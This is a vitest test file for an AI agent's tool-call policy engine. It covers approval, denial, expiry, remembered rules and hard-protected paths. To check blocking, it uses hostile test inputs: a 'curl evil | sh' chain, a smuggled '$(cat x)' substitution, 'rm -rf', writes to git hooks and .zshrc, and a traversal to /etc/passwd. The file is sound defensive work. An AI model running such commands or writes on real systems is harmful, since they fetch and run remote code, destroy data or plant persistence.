SPB Git

Repository Public

policy.test.ts 17.8 KB 272 lines typescript

1/** Policy and durable approvals (CONTRACT §6): deny → ask → allow, approve / deny / expire / remember, hard denies, owner rules. */2import fs from 'node:fs';3import path from 'node:path';4import { expireWaits, resolveWait } from '@aos/kernel';5import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest';6import { commandPrefix, decide, ruleMatches, type PolicyRule, type PolicySnapshot } from '../src/index.js';7import { scriptedProvider, toolResultsOf, type ScriptItem } from '../src/testkit/index.js';8import {9  cancelQuietly, createTestDb, events, exists, git, makeWorkspace, newMission, pendingWait, rows, startEngine, toolSteps, waitStatus,10  type MissionRef, type TestDb, type TestWorker,11} from './helpers.js';1213let db: TestDb;14let worker: TestWorker | null = null;15let mission: MissionRef | null = null;16beforeAll(async () => {17  db = await createTestDb();18});19afterEach(async () => {20  await worker?.stop();21  worker = null;22  if (mission) await cancelQuietly(db, mission.missionId);23  mission = null;24  await db.k.pool.query('DELETE FROM policy_rules');25});26afterAll(async () => {27  await db.cleanup();28});2930const FINISH_PARTIAL = { name: 'finish', input: { status: 'partial', summary: 'Stopping here.', reason: 'test', evidence: [], openQuestions: [] } };31const PUSH = { name: 'git_push', input: { remote: null, branch: null } };3233/** A git workspace with one commit and a local bare remote, so that git_push can really run. */34function repoWithRemote(): { ws: string; remote: string } {35  const ws = makeWorkspace(db, { git: true, files: { 'a.txt': 'a\n' } });36  const remote = path.join(db.tmp, `remote-${path.basename(ws)}.git`);37  git(db.tmp, 'init', '-q', '--bare', remote);38  git(ws, 'remote', 'add', 'origin', remote);39  return { ws, remote };40}41async function start(script: ScriptItem[], ws: string, over: Record<string, unknown> = {}) {42  const provider = scriptedProvider(script);43  mission = await newMission(db, ws, over);44  worker = startEngine(db, provider);45  return { provider, m: mission };46}47const remoteBranches = (remote: string): string[] => git(remote, 'branch', '--format=%(refname:short)').split('\n').filter(Boolean);48const decisions = async (missionId: string): Promise<string[]> => (await events(db, missionId, 'policy.decision')).map((e) => `${String(e.tool)}:${String(e.decision)}:${String(e.source)}`);4950describe('durable approvals', () => {51  it('ask → approve: the exact call is shown, then executed', async () => {52    const { ws, remote } = repoWithRemote();53    const { provider, m } = await start([{ calls: [PUSH] }, { calls: [FINISH_PARTIAL] }], ws);54    const w = await pendingWait(db, m.runId);55    expect(w.kind).toBe('approval');56    expect(w.payload).toMatchObject({ tool: 'git_push', input: { remote: null, branch: null }, risk: 'external' });57    expect(typeof w.payload.title).toBe('string');58    expect(typeof w.payload.detail).toBe('string');59    expect((await waitStatus(db, m.runId, ['waiting'])).status).toBe('waiting');60    expect(remoteBranches(remote)).toEqual([]);61    await resolveWait(w.id, { decision: 'approve', remember: false }, 'owner', db.k);62    expect((await waitStatus(db, m.runId)).status).toBe('partial');63    expect(remoteBranches(remote)).toEqual([`aos/${m.missionId.slice(0, 8)}`]);64    expect(toolResultsOf(provider.lastTranscript())[0]).toMatchObject({ name: 'git_push', ok: true });65    expect(await decisions(m.missionId)).toEqual(['git_push:ask:default', 'git_push:allow:owner']);66    expect(await rows(db, 'SELECT id FROM policy_rules')).toEqual([]);67  });6869  it('ask → deny: nothing runs and the model is told why', async () => {70    const { ws, remote } = repoWithRemote();71    const { provider, m } = await start([{ calls: [PUSH] }, { calls: [FINISH_PARTIAL] }], ws);72    const w = await pendingWait(db, m.runId);73    await resolveWait(w.id, { decision: 'deny', remember: false, note: 'not before review' }, 'owner', db.k);74    expect((await waitStatus(db, m.runId)).status).toBe('partial');75    expect(remoteBranches(remote)).toEqual([]);76    expect(toolResultsOf(provider.lastTranscript())[0]).toEqual({ callId: 'call_0_0', name: 'git_push', ok: false, content: 'Denied by owner: not before review' });77    expect((await toolSteps(db, m.runId)).map((s) => s.name)).toEqual(['finish']);78    expect(await decisions(m.missionId)).toEqual(['git_push:ask:default', 'git_push:deny:owner']);79  });8081  it('expiry = deny', async () => {82    const { ws, remote } = repoWithRemote();83    const { provider, m } = await start([{ calls: [PUSH] }, { calls: [FINISH_PARTIAL] }], ws);84    const w = await pendingWait(db, m.runId);85    const by = (await rows<{ resolve_by: Date }>(db, 'SELECT resolve_by FROM waits WHERE id = $1', [w.id]))[0]?.resolve_by as Date;86    expect(Math.round((by.getTime() - Date.now()) / 3600_000)).toBe(72); // default approval timeout87    await waitStatus(db, m.runId, ['waiting']);88    await db.k.pool.query(`UPDATE waits SET resolve_by = now() - interval '1 second' WHERE id = $1`, [w.id]);89    expect((await expireWaits(db.k)).expired).toBe(1);90    expect((await waitStatus(db, m.runId)).status).toBe('partial');91    expect(remoteBranches(remote)).toEqual([]);92    expect(toolResultsOf(provider.lastTranscript())[0]?.content).toMatch(/approval request expired/);93    expect(await decisions(m.missionId)).toEqual(['git_push:ask:default', 'git_push:deny:expiry']);94  });9596  it('approve and remember: one project rule is inserted and the next matching call does not ask', async () => {97    const ws = makeWorkspace(db, { files: { 'a.txt': 'a\n' } });98    const sh = (command: string) => ({ name: 'shell', input: { command, timeoutSec: null } });99    const { provider, m } = await start(100      [{ calls: [sh('git --version')] }, { calls: [sh('git --version'), sh('git --exec-path')] }, { calls: [sh('git --version; echo chained')] }, { calls: [FINISH_PARTIAL] }],101      ws,102      { network: 'open' },103    );104    const w = await pendingWait(db, m.runId);105    expect(w.payload).toMatchObject({ tool: 'shell', risk: 'network', input: { command: 'git --version' } });106    await resolveWait(w.id, { decision: 'approve', remember: true }, 'owner', db.k);107    // turn 2 runs without asking; turn 3 is a compound command, which the remembered prefix does not cover108    const w2 = await pendingWait(db, m.runId);109    expect(w2.payload).toMatchObject({ input: { command: 'git --version; echo chained' } });110    const rules = await rows<{ project_id: string; decision: string; tool: string; match: unknown }>(db, 'SELECT project_id, decision, tool, match FROM policy_rules');111    expect(rules).toEqual([{ project_id: db.projectId, decision: 'allow', tool: 'shell', match: { commandPrefix: 'git' } }]);112    await resolveWait(w2.id, { decision: 'approve', remember: true }, 'owner', db.k);113    expect((await waitStatus(db, m.runId)).status).toBe('partial');114    expect(await rows(db, 'SELECT id FROM policy_rules')).toHaveLength(1); // same rule: reused, not duplicated115    const seen = toolResultsOf(provider.lastTranscript());116    expect(seen.map((r) => r.ok)).toEqual([true, true, true, true]);117    expect(seen[0]?.content).toMatch(/git version/);118    const d = await events(db, m.missionId, 'policy.decision');119    expect(d.map((e) => `${String(e.decision)}:${String(e.source)}`)).toEqual(['ask:default', 'allow:owner', 'allow:rule', 'allow:rule', 'ask:default', 'allow:owner']);120    expect(d[1]).toMatchObject({ remembered: true, rule: { tool: 'shell', match: { commandPrefix: 'git' }, decision: 'allow', projectId: db.projectId } });121    expect(String(d[1]?.reason)).toMatch(/rule created/);122    expect(String(d[5]?.reason)).toMatch(/rule already present/);123    expect((await rows(db, `SELECT seq FROM steps WHERE run_id = $1 AND name = 'remember_rule'`, [m.runId]))).toHaveLength(2);124  });125});126127describe('hard denies and owner rules', () => {128  it('protected paths are never writable, whatever the rules say', async () => {129    const ws = makeWorkspace(db, { git: true, files: { 'AGENTS.md': 'rules\n', 'a.txt': 'a\n' } });130    await db.k.pool.query(`INSERT INTO policy_rules (owner_id, project_id, decision, tool, match) VALUES ($1, NULL, 'allow', '*', '{}')`, [db.ownerId]);131    const w = (p: string) => ({ name: 'write_file', input: { path: p, content: 'pwned\n' } });132    const { provider, m } = await start([{ calls: [w('AGENTS.md'), w('.git/hooks/pre-commit'), w('.aos/x'), w('sub/.zshrc'), w('../outside.txt')] }, { calls: [FINISH_PARTIAL] }], ws);133    expect((await waitStatus(db, m.runId)).status).toBe('partial');134    const seen = toolResultsOf(provider.lastTranscript());135    expect(seen.map((r) => r.ok)).toEqual([false, false, false, false, false]);136    for (const r of seen.slice(0, 4)) expect(r.content).toMatch(/^Denied by policy: protected path/);137    expect(seen[4]?.content).toMatch(/outside the workspace/);138    expect(fs.readFileSync(path.join(ws, 'AGENTS.md'), 'utf8')).toBe('rules\n');139    expect(exists(ws, '.git/hooks/pre-commit')).toBe(false);140    expect(exists(ws, '.aos')).toBe(false);141    expect(fs.existsSync(path.join(ws, '..', 'outside.txt'))).toBe(false);142    expect((await toolSteps(db, m.runId)).map((s) => s.name)).toEqual(['finish']);143    expect((await events(db, m.missionId, 'policy.decision')).every((e) => e.decision === 'deny' && e.source === 'hard')).toBe(true);144  });145146  it('owner rules: deny beats allow whatever the scope (a global deny wins over a project allow), ask asks', async () => {147    const ws = makeWorkspace(db, { files: { 'a.txt': 'a\n' } });148    const ins = (projectId: string | null, decision: string, tool: string, match: object, note = '') =>149      db.k.pool.query(`INSERT INTO policy_rules (owner_id, project_id, decision, tool, match, note) VALUES ($1, $2, $3, $4, $5::jsonb, $6)`, [db.ownerId, projectId, decision, tool, JSON.stringify(match), note]);150    await ins(null, 'deny', 'shell', { commandPrefix: 'rm' }, 'no deletions');151    await ins(null, 'ask', 'write_file', { pathPrefix: 'docs' });152    await ins(null, 'deny', 'read_file', {});153    await ins(db.projectId, 'allow', 'read_file', {}); // does NOT override the global deny154    const { provider, m } = await start(155      [156        {157          calls: [158            { name: 'shell', input: { command: 'rm -rf a.txt', timeoutSec: null } },159            { name: 'read_file', input: { path: 'a.txt', offset: null, limit: null } },160            { name: 'write_file', input: { path: 'docs/n.md', content: 'n\n' } },161            { name: 'write_file', input: { path: 'src/n.md', content: 'n\n' } },162          ],163        },164        { calls: [FINISH_PARTIAL] },165      ],166      ws,167    );168    const w = await pendingWait(db, m.runId);169    expect(w.payload).toMatchObject({ tool: 'write_file', input: { path: 'docs/n.md' }, risk: 'workspace_write' });170    expect(String(w.payload.diff)).toContain('+n');171    await resolveWait(w.id, { decision: 'approve' }, 'owner', db.k);172    expect((await waitStatus(db, m.runId)).status).toBe('partial');173    const seen = toolResultsOf(provider.lastTranscript());174    expect(seen.map((r) => r.ok)).toEqual([false, false, true, true]);175    expect(seen[1]?.content).toBe('Denied by policy: global rule: deny read_file.');176    expect(seen[0]?.content).toBe('Denied by policy: global rule: deny shell (no deletions).');177    expect(exists(ws, 'a.txt')).toBe(true);178    expect(await decisions(m.missionId)).toEqual(['shell:deny:rule', 'read_file:deny:rule', 'write_file:ask:rule', 'write_file:allow:owner', 'write_file:allow:default']);179  });180181  it('a rule added during the run applies to later batches only', async () => {182    const ws = makeWorkspace(db, { files: { 'a.txt': 'a\n' } });183    const rd = { name: 'read_file', input: { path: 'a.txt', offset: null, limit: null } };184    const { provider, m } = await start(185      [186        { calls: [rd] },187        (_req, info) => {188          // inserted while turn 2 is being produced: turn 2's batch reads the rules after this189          void info;190          return { calls: [rd], delayMs: 150 };191        },192        { calls: [FINISH_PARTIAL] },193      ],194      ws,195    );196    await waitStatus(db, m.runId, ['running']);197    await db.k.pool.query(`INSERT INTO policy_rules (owner_id, project_id, decision, tool, match) VALUES ($1, NULL, 'deny', 'read_file', '{}')`, [db.ownerId]);198    expect((await waitStatus(db, m.runId)).status).toBe('partial');199    const oks = toolResultsOf(provider.lastTranscript()).map((r) => r.ok);200    expect(oks.length).toBe(2);201    expect(oks[1]).toBe(false);202  });203});204205describe('policy (pure)', () => {206  const snap = (rules: Partial<PolicyRule>[] = []): PolicySnapshot => ({207    approvalTimeoutHours: 72,208    rules: rules.map((r, i) => ({ id: `r${i}`, projectId: null, decision: 'allow', tool: '*', match: {}, note: '', ...r })),209  });210  const q = (tool: string, input: unknown, risk: 'read' | 'workspace_write' | 'network' | 'external', over = {}) =>211    ({ tool, input, risk, network: 'none' as const, projectId: 'p1', workspaceAbs: '/ws', criteriaConfirmed: true, ...over });212213  it('defaults by risk', () => {214    expect(decide(q('read_file', { path: 'a' }, 'read'), snap()).decision).toBe('allow');215    expect(decide(q('write_file', { path: 'a' }, 'workspace_write'), snap()).decision).toBe('allow');216    expect(decide(q('shell', { command: 'curl x' }, 'network', { network: 'open' }), snap()).decision).toBe('ask');217    expect(decide(q('git_push', {}, 'external'), snap()).decision).toBe('ask');218    expect(decide(q('fetch', {}, 'network'), snap())).toMatchObject({ decision: 'deny', source: 'hard' });219  });220  it('precedence: deny > ask > allow regardless of scope; rules of other projects are ignored', () => {221    const call = q('shell', { command: 'npm test' }, 'workspace_write');222    const d = (rules: Partial<PolicyRule>[]) => decide(call, snap(rules));223    // global deny beats project allow (and project ask)224    expect(d([{ projectId: 'p1', decision: 'allow' }, { decision: 'deny' }])).toMatchObject({ decision: 'deny', source: 'rule', ruleId: 'r1', reason: 'global rule: deny *' });225    expect(d([{ projectId: 'p1', decision: 'ask' }, { decision: 'deny' }]).decision).toBe('deny');226    // project deny beats global allow227    expect(d([{ decision: 'allow' }, { projectId: 'p1', decision: 'deny' }])).toMatchObject({ decision: 'deny', ruleId: 'r1', reason: 'project rule: deny *' });228    // global ask beats project allow229    expect(d([{ projectId: 'p1', decision: 'allow' }, { decision: 'ask' }])).toMatchObject({ decision: 'ask', ruleId: 'r1' });230    // same decision in both scopes: the project rule is the one reported231    expect(d([{ decision: 'deny' }, { projectId: 'p1', decision: 'deny' }]).ruleId).toBe('r1');232    // allow only when nothing stronger matches; then risk defaults233    expect(d([{ projectId: 'p1', decision: 'allow' }])).toMatchObject({ decision: 'allow', source: 'rule' });234    expect(decide(q('git_push', {}, 'external'), snap([{ projectId: 'p1', decision: 'allow', tool: 'git_push' }])).decision).toBe('allow');235    expect(decide(q('git_push', {}, 'external'), snap([{ projectId: 'other', decision: 'allow', tool: 'git_push' }]))).toMatchObject({ decision: 'ask', source: 'default' });236    expect(d([{ projectId: 'other', decision: 'deny' }])).toMatchObject({ decision: 'allow', source: 'default' });237    // a deny rule never lifts a hard deny into anything else, and an allow rule never overrides one238    expect(decide(q('edit_file', { path: '.git/config' }, 'workspace_write'), snap([{ projectId: 'p1', decision: 'allow' }]))).toMatchObject({ decision: 'deny', source: 'hard' });239  });240  it('no write before the criteria are confirmed', () => {241    expect(decide(q('shell', { command: 'ls' }, 'workspace_write', { criteriaConfirmed: false }), snap([{ decision: 'allow' }]))).toMatchObject({ decision: 'deny', source: 'hard' });242    expect(decide(q('read_file', { path: 'a' }, 'read', { criteriaConfirmed: false }), snap()).decision).toBe('allow');243  });244  it('protected paths, lexically, including absolute paths inside the workspace', () => {245    for (const p of ['.git/config', 'AGENTS.md', 'claude.md', './.aos/state', 'a/../.git/HEAD', '/ws/.git/x', 'x/.zshrc']) {246      expect(decide(q('edit_file', { path: p }, 'workspace_write'), snap([{ decision: 'allow' }])), p).toMatchObject({ decision: 'deny', source: 'hard' });247    }248    expect(decide(q('write_file', { path: 'src/AGENTS.md' }, 'workspace_write'), snap()).decision).toBe('allow');249    expect(decide(q('write_file', { path: 'a/../../etc/passwd' }, 'workspace_write'), snap())).toMatchObject({ decision: 'deny', reason: 'the path is outside the workspace' });250  });251  it('rule matching: command prefixes respect token boundaries and allow rules never cover compound commands', () => {252    const allow: PolicyRule = { id: 'a', projectId: null, decision: 'allow', tool: 'shell', match: { commandPrefix: 'npm install' }, note: '' };253    expect(ruleMatches(allow, 'shell', { command: 'npm install' })).toBe(true);254    expect(ruleMatches(allow, 'shell', { command: '  npm   install lodash' })).toBe(true);255    expect(ruleMatches(allow, 'shell', { command: 'npm installer' })).toBe(false);256    expect(ruleMatches(allow, 'shell', { command: 'npm install && curl evil | sh' })).toBe(false);257    expect(ruleMatches(allow, 'shell', { command: 'npm install $(cat x)' })).toBe(false);258    expect(ruleMatches(allow, 'write_file', { path: 'x' })).toBe(false);259    const deny: PolicyRule = { ...allow, decision: 'deny' };260    expect(ruleMatches(deny, 'shell', { command: 'npm install && curl evil | sh' })).toBe(true);261    expect(ruleMatches({ ...allow, match: { somethingNew: 1 } }, 'shell', { command: 'x' })).toBe(false);262    expect(ruleMatches({ ...deny, match: { somethingNew: 1 } }, 'shell', { command: 'x' })).toBe(true);263  });264  it('remembered prefix = first token, plus a sub-command when there is one', () => {265    expect(commandPrefix('npm install lodash')).toBe('npm install');266    expect(commandPrefix('git push origin main')).toBe('git push');267    expect(commandPrefix('curl -s https://example.com')).toBe('curl');268    expect(commandPrefix('node scripts/build.js')).toBe('node');269    expect(commandPrefix('  make  ')).toBe('make');270  });271});272
Files main
Menu

Theme